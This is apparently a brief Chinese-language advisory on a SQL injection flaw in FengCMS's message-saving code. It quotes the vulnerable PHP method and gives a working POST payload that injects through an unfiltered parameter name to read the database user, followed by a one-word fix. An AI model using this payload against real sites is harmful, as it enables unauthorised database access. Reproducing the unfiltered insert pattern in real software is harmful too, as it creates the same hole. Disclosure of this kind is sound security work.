http://www.fengcms.com/

app\model\messageModel.php

public function save($array){
if($_SESSION['authnum']!=$array['vcode']||$_SESSION['authnum']==""){ return array('status' => 'c');exit;}
unset($array['vcode']);
$re=D($this->d_name)->insert($array);

if($re){
$_SESSION['authnum']="";
return array('status' => 'y','id' => $re);

}else{

return array('status' => 'n','id' => $re);
}

$re=D($this->d_name)->insert($array);

未对数组key过滤。

反引号无视转义。

pyload:

POST /?controller=message&operate=save

title`,`name`,`qq`,`tel`,`mail`,`content`,`time`)values(user(),qq,qq,qq,qq,qq,1426038685);#insert/**/into/**/`f_message`/**/(`title=testsql&name=&qq=&tel=&mail=&content=aaaaaaaaaaaa&vcode=vzyd&time=1426039319

 

 

 

 

解决方案：

过滤~